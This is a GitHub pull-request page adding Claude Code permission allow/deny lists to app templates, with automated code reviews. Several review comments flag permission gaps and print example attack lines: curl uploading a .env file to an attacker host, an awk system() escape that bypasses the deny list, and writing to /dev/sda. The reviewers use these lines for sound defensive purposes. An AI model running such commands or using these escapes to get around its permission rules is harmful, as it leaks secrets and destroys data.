Conversation
…nerate button, analytics dashboard dialog cleanup - Add .claude/settings.json to all 8 templates with comprehensive allow/deny lists so Claude Code doesn't prompt for routine operations - Update default template and framework root settings with additional allowed tools (curl, grep, rg, jq, rm, WebFetch, WebSearch, etc.) - Add AI generate button to mail compose modal that delegates to agent chat via sendToAgentChat() - Simplify analytics new dashboard dialog by removing author name field and streamlining the form
✅ Deploy Preview for agent-native-fw ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
Cmd+Option+I now opens devtools for the webview where the app runs, not the shell/sidebar BrowserWindow. Handles the shortcut from both the shell renderer and from within webview guests.
![builder-io-integration[bot]](https://avatars.githubusercontent.com/in/353721?s=60&v=4){kind=small}
There was a problem hiding this comment.
Builder has reviewed your changes and found 3 potential issues.
Review Details
Code Review Summary
PR #35 makes three categories of changes across 12+ files (~954 lines): (1) adds .claude/settings.json permission configs to 8 templates and updates the root/default settings, (2) adds an AI "Generate" button to the mail ComposeModal using sendToAgentChat, and (3) simplifies the analytics NewDashboardDialog by removing the author name field. A new commit also adds Cmd+Option+I DevTools toggling in the Electron desktop app. Risk level: Standard (🟡) — the permission config changes have real security implications and the author field removal conflicts with documented contracts.
Key Findings
🔴 HIGH — rm -rf relative-path bypass (all 3 agents): The old Bash(rm -rf *) deny blocked ALL recursive removes. The replacement only denies specific absolute/home paths (/, /*, ~, ~/*). With Bash(rm *) now in the allow list, commands like rm -rf src/, rm -rf data/, rm -rf ./node_modules match the allow rule and match NO deny rule — effectively giving the agent unrestricted recursive delete across the project tree. This affects all 10 settings files in this PR.
🔴 HIGH — /dev/* redirection deny removed: The root .claude/settings.json previously denied Bash(> /dev/*). That rule is gone. Since Bash(echo *), Bash(cat *), and Bash(sed *) remain allowed, the agent can now redirect output to device files (e.g., echo garbage > /dev/sda).
🟡 MEDIUM — Author field removal breaks documented contract (2/3 agents): The analytics template's AGENTS.md explicitly states author is a REQUIRED registry field and "the UI will prompt for author name." The PR removed both the UI input and the Set author="..." instruction from the context. Dashboards created via the button will have missing/invalid author metadata.
What Looks Good
- ✅ Mail Generate button correctly delegates to
sendToAgentChatper the agent-native architecture rule - ✅ Electron DevTools shortcut handlers are correctly scoped (no double-firing between shell and webview contexts)
- ✅ Analytics dialog Cancel button removal is safe — Radix Popover closes on Escape/click-outside
Found by running 3 parallel code-review agent calls with randomized file ordering.
Code review by Builder.io
| "Bash(grep *)", | ||
| "Bash(rg *)", | ||
| "Bash(sed *)", | ||
| "Bash(awk *)", |
There was a problem hiding this comment.
🔴 rm -rf on relative paths now bypasses the deny list
The old Bash(rm -rf *) deny blocked all recursive removes. The new deny only covers /, /*, ~, and ~/* as targets. Since Bash(rm *) is now in the allow list, commands like rm -rf src/, rm -rf data/, or rm -rf ./some-dir match the allow rule and match no deny rule. Restore Bash(rm -rf *) to the deny list (keeping the specific entries is fine as additions, but the broad glob is the critical guard). This affects all 10 settings files in this PR.
How did I do? React with 👍 or 👎 to help me improve.
| "Bash(jq *)", | ||
| "Bash(rm *)" | ||
| ], | ||
| "deny": [ |
There was a problem hiding this comment.
🔴 Removing /dev/* redirection deny allows writes to device files
The previous config denied Bash(> /dev/*). That rule was removed in this PR. With Bash(echo *), Bash(cat *), and Bash(sed *) still allowed, the agent can now redirect output to device files (e.g. echo garbage > /dev/sda). Restore the device-redirection deny before shipping.
How did I do? React with 👍 or 👎 to help me improve.
| sendToAgentChat({ | ||
| message: prompt.trim(), | ||
| context: | ||
| "The user wants to create a new analytics dashboard. " + | ||
| `REQUIRED: Set author="${authorName.trim()}" and lastUpdated="${today}" in the registry entry. ` + | ||
| `REQUIRED: Set lastUpdated="${today}" in the registry entry. ` + | ||
| "Create a new dashboard page in client/pages/adhoc/ with the appropriate charts and data. " + |
There was a problem hiding this comment.
🟡 Author field removal violates documented REQUIRED registry contract
templates/analytics/AGENTS.md declares author a REQUIRED registry field, states the UI must prompt for it, and explicitly says the agent must NOT derive it from git logs. This PR removes both the author input and the REQUIRED: Set author=... context instruction. Dashboards created via the button will now have missing or guessed author metadata, breaking DashboardHeader display and the validation contract.
How did I do? React with 👍 or 👎 to help me improve.
…I refactor, gitignore credentials - Calendar: improved day/week view layouts, event cards, command palette, sidebar, and event dialogs - Mail: email thread view, email list refinements, send/reply routes, sonner toast updates - Harness CLI: refactored terminal into TerminalTab component, updated App layout - Gitignore google-accounts credentials in calendar template - Prettier formatting pass
There was a problem hiding this comment.
Builder has reviewed your changes and found 3 potential issues.
Review Details
Code Review Summary (Updated — Full PR)
PR #35 now spans 21+ files (~2900 lines). Beyond the original changes, this update adds: Gmail archive/unarchive/trash with undo toast, keyboard navigation between emails (j/k), iframe keyboard event forwarding for HTML email bodies, a major harness-cli refactor (new TerminalTab.tsx component replacing useTerminal.ts hook), and calendar color/rendering updates.
Risk: Standard (🟡). The previously reported HIGH issues (rm-rf bypass, /dev/* deny removal) and MEDIUM issue (author field removal) remain unfixed. This review covers only NEW issues found in the updated code.
New Findings
🟡 MEDIUM — TerminalTab message listener leak (4/4 agents): Every call to connect() registers window.addEventListener('message', messageHandler) and returns a cleanup, but all three call sites (mount effect, ws.onclose reconnect, restart()) discard the return value. After N reconnect cycles, N orphaned listeners accumulate on window, holding closed WebSocket and timer closures — a confirmed memory leak with no upper bound.
🟡 MEDIUM — Side effects inside React state updater: ws.onclose calls setSetupStatus(prev => { term.write(...); setTimeout(() => connect(...)); return prev; }). State updaters must be pure — in StrictMode or concurrent mode React can invoke them twice, causing duplicate reconnect setTimeout calls and duplicate terminal messages.
🟡 MEDIUM — forwardKey triggers shortcuts while user types in email form elements: Keydowns from the email iframe are forwarded unconditionally to window. useKeyboardShortcuts guards with e.target.tagName === 'input', but forwarded events have target = window, bypassing the guard. Emails with <input> or <textarea> elements (allowed by the sandbox) will fire destructive shortcuts (e=archive, d=trash) while the user types.
🟡 MEDIUM — Gmail mutations always act on first connected account: New archiveEmail, unarchiveEmail, and trashEmail handlers call getClient() without an account argument, always acting on the first auth token. For multi-account Gmail setups, messages from secondary accounts cannot be archived/trashed.
Found by running 4 parallel code-review agent calls with randomized file ordering.
Code review by Builder.io
| } | ||
| }; | ||
| window.addEventListener("message", messageHandler); | ||
|
|
There was a problem hiding this comment.
🟡 window message listener leaks on every reconnect — cleanup return value always discarded
connect() registers window.addEventListener('message', messageHandler) and returns a cleanup, but all call sites discard the return: the mount useEffect (calls connect without storing its return), restart(), and the ws.onclose reconnect setTimeout. The useEffect unmount only closes the WebSocket and disposes the terminal — never the message listener. After N reconnects, N orphaned listener closures accumulate permanently. Fix: store the cleanup in a useRef, invoke it before each new connect(), and call it in the unmount cleanup.
How did I do? React with 👍 or 👎 to help me improve.
| ws.onclose = () => { | ||
| setConnected(false); | ||
| setSetupStatus((prev) => { | ||
| if (prev.status === "failed" || prev.status === "not-found") |
There was a problem hiding this comment.
🟡 Side effects (term.write, setTimeout) inside React state updater
ws.onclose places term.write(...) and setTimeout(() => connect(...), 3000) inside a setSetupStatus(prev => { ... }) state updater. Updater functions must be pure; React StrictMode/concurrent mode can invoke them multiple times, causing duplicate reconnect timers and duplicate terminal messages. Move the side effects outside the updater.
How did I do? React with 👍 or 👎 to help me improve.
| altKey: e.altKey, | ||
| shiftKey: e.shiftKey, | ||
| bubbles: true, | ||
| cancelable: true, |
There was a problem hiding this comment.
🟡 forwardKey bypasses useKeyboardShortcuts input guard — typing in email form triggers shortcuts
Keydowns from the email iframe are forwarded to window unconditionally. useKeyboardShortcuts filters with e.target.tagName === 'input', but forwarded events have target = window, so the guard never fires. Emails containing <input> or <textarea> elements (permitted by the sandbox) will trigger destructive shortcuts (e=archive, d=trash) while the user types. Fix: check e.target.tagName inside forwardKey and skip forwarding for interactive elements.
How did I do? React with 👍 or 👎 to help me improve.
Refactor ComposeModal to accept composeState/onUpdate/onClose/onFlush props instead of local React state. AppLayout now drives a single ComposeModal instance via useComposeState hook. EmailThread and InboxPage open reply/forward by writing to compose state file instead of rendering their own ComposeModal instances.
- Mail screenshot: updated to new image across docs site, root README, and core README - Calendar screenshot: updated to new image across all locations - Docs homepage template grid: 4-wide → 3-wide - Core README: restructured from 5-wide single row to 3-wide two rows, matching root README - Calendar .gitignore: added data/google-accounts/ to prevent committing credentials
There was a problem hiding this comment.
Builder has reviewed your changes and found 3 potential issues.
Review Details
Code Review Summary (Cycle 4)
PR #35 adds Claude Code permission configs to 8 templates, implements mail compose state persistence (new use-compose-state hook + application-state server route), adds UNDO archive with j/k/z keyboard shortcuts, and includes calendar color tweaks. Risk: Standard 🟡 — touches business logic, server routes, and security-sensitive permission configs.
Key Findings
Critical (new this update):
- 🔴 Missing /unarchive route —
unarchiveEmailhandler exists inroutes/emails.tsbut is never imported or registered inserver/index.ts. Every UNDO archive action (z shortcut, toast button) returns 404 — the feature is completely non-functional. - 🔴 Blanket
gh */curl *permissions — allows silent exfiltration of local secrets (curl -F token=@./.env https://attacker) and arbitrary authenticated GitHub API calls across all template workspaces. - 🔴
awk */sed *shell escapes —awk 'BEGIN{system(...)}'andsed eflags execute arbitrary commands, bypassing the entire deny list. - 🟡 Gmail multi-account bug — archive/unarchive/trash call
getClient()without account arg; mutations on secondary-account emails will 404 or mutate the wrong mailbox. - 🟡 Compose state race conditions — SSE refetch overwrites in-flight optimistic edits; in-flight PUT can complete after DELETE, resurrecting a discarded draft.
Architecture note: The use-compose-state debounce + file-watcher invalidation loop is a known tricky pattern — the dirty-state guard needs to prevent SSE invalidation from overwriting unsaved keystrokes.
Found by running 5 parallel code-review agent calls with randomized file ordering.
Code review by Builder.io
| const qc = useQueryClient(); | ||
| return useMutation({ | ||
| mutationFn: (id: string) => | ||
| apiFetch(`/api/emails/${id}/unarchive`, { method: "PATCH" }), |
There was a problem hiding this comment.
🔴 unarchiveEmail route never registered — UNDO always returns 404
useUnarchiveEmail calls PATCH /api/emails/:id/unarchive, but server/index.ts never imports or registers this handler. archiveEmail and trashEmail are wired up (lines 52–53), but there is no app.patch("/api/emails/:id/unarchive", unarchiveEmail). Every UNDO toast action and the z keyboard shortcut silently fail with a 404. Fix: add the import and route registration in server/index.ts.
How did I do? React with 👍 or 👎 to help me improve.
| "Bash(chmod *)", | ||
| "Bash(gh *)" | ||
| "Bash(gh *)", | ||
| "Bash(curl *)", |
There was a problem hiding this comment.
🔴 Blanket curl/gh permissions enable silent exfiltration
Bash(curl *) and Bash(gh *) are far broader than the routine dev tasks this allowlist targets. curl can upload any readable file without a prompt (e.g. curl -F token=@./.env https://attacker.example), and gh * includes gh api which can make arbitrary authenticated GitHub API calls with the developer's local credentials. These rules are copied into every template workspace. Scope down to specific read-only subcommands or remove entirely from template configs.
How did I do? React with 👍 or 👎 to help me improve.
| "Bash(grep *)", | ||
| "Bash(rg *)", | ||
| "Bash(sed *)", | ||
| "Bash(awk *)", |
There was a problem hiding this comment.
🔴 awk/sed allow arbitrary shell execution, bypassing deny list
Bash(awk *) and Bash(sed *) are shell-execution escape hatches. awk 'BEGIN{system("curl -F x=@./.env https://attacker")}' /dev/null runs without triggering any deny rule; GNU sed's e flag does the same. Because the outer command still matches awk/sed, the deny list for rm, sudo, dd, etc. is completely bypassed. Remove these from the blanket allowlist.
How did I do? React with 👍 or 👎 to help me improve.
1 participant
Summary
.claude/settings.jsonto all 8 templates (analytics, brand, calendar, content, imagegen, mail, slides, videos) with comprehensive allow/deny lists so Claude Code doesn't prompt for routine file reads, writes, searches, and common CLI commands. Updated default template and framework root settings with additional tools (curl, grep, rg, jq, rm, WebFetch, WebSearch, etc.)sendToAgentChat()Test plan